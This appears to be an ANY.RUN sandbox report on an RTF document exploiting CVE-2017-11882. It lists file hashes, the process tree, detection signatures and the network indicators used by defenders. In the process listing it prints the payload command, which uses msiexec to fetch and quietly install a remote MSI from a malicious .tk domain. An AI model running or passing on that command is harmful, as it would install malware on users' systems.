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File name:

fb6c0b45778647cff26079cfb5d941e5a1748951c16b743fe3e027d4331b14af

Full analysis: https://app.any.run/tasks/79af0a5d-f4ce-405e-af03-59f47bed01d2
Verdict: Malicious activity
Analysis date: June 19, 2019, 12:12:21
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ole-embedded
exploit
CVE-2017-11882
Indicators:
MIME: text/rtf
File info: Rich Text Format data, version 1, ANSI
MD5:

75100A10AAB352C87254756FD1083243

SHA1:

94F4B3BA8E03A1814B00933D8EB7012575E7343D

SHA256:

FB6C0B45778647CFF26079CFB5D941E5A1748951C16B743FE3E027D4331B14AF

SSDEEP:

384:WffMRZU5kpjXbd6Yrpwp5KSy2etruVdp3CHx42pQ0lvo/:WfcZskpjXb7iY2cGPCHmwVZo/

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 3112)

    • Uses Microsoft Installer as loader

      • cmd.exe (PID: 2140)

  • SUSPICIOUS

    • Executed via COM

      • EQNEDT32.EXE (PID: 3112)
      • EQNEDT32.EXE (PID: 2484)

    • Starts CMD.EXE for commands execution

      • EQNEDT32.EXE (PID: 3112)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 1892)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 1892)

    • Application was crashed

      • EQNEDT32.EXE (PID: 3112)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)

EXIF

RTF

Subject: EDGAR Online Pro
RevisionNumber: 3
Company: EDGAR Online, Inc.
Author: EDGAR Online HTML to RTF Converter. Version 3.0
Category: 0001178913-18-000525.html.ecq
Comments: Source: EDGAR Online, Inc. © Copyright 2018. All rights reserved.
Title: Wix.com Ltd. (Form: 6-K, Received: 02/14/2018 06:28:27)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
41
Monitored processes
6
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winword.exe no specs eqnedt32.exe cmd.exe no specs msiexec.exe no specs msiexec.exe eqnedt32.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1892"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\fb6c0b45778647cff26079cfb5d941e5a1748951c16b743fe3e027d4331b14af.rtf"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3112"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
2140cmd.exe & /C CD C: & msiexec.exe /i http://lhtcom-sg.tk/love/cuck.msi /quiet C:\Windows\system32\cmd.exe—EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1619
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
836msiexec.exe /i http://lhtcom-sg.tk/love/cuck.msi /quiet C:\Windows\system32\msiexec.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
1619
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3680C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
2484"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE—svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
Total events
1 167
Read events
738
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
0
Text files
0
Unknown types
2

Dropped files

PID
Process
Filename
Type
1892WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR3F5E.tmp.cvr —
MD5:—
SHA256:—
1892WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:F256365BB40E1ED143331852C8180F1C
SHA256:4EFC9EA85F203F5D2F25E4E694BD5FE976613FB15D1AB7D520BF29E0D2F4CFDA
1892WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$6c0b45778647cff26079cfb5d941e5a1748951c16b743fe3e027d4331b14af.rtfpgc
MD5:665992045C86C763E67175AEE8083E62
SHA256:66E129E2F2D102965FF11BC39211F0CD342F5CE776D4EC3C6D6188F0A33A4C1F
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3680
msiexec.exe
GET
—
195.248.234.34:80
http://lhtcom-sg.tk/love/cuck.msi
UA
—
—
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3680
msiexec.exe
195.248.234.34:80
lhtcom-sg.tk
ON-LINE Ltd
UA
suspicious

DNS requests

Domain
IP
Reputation
lhtcom-sg.tk
  • 195.248.234.34
suspicious

Threats

PID
Process
Class
Message
3680
msiexec.exe
Potential Corporate Privacy Violation
SUSPICIOUS [PTsecurity] Executable application_x-msi Download
3680
msiexec.exe
Potentially Bad Traffic
ET POLICY HTTP Request to a *.tk domain
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
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Reports
fb6c0b45778647cff26079cfb5d941e5a1748951c16b743fe3e027d4331b14af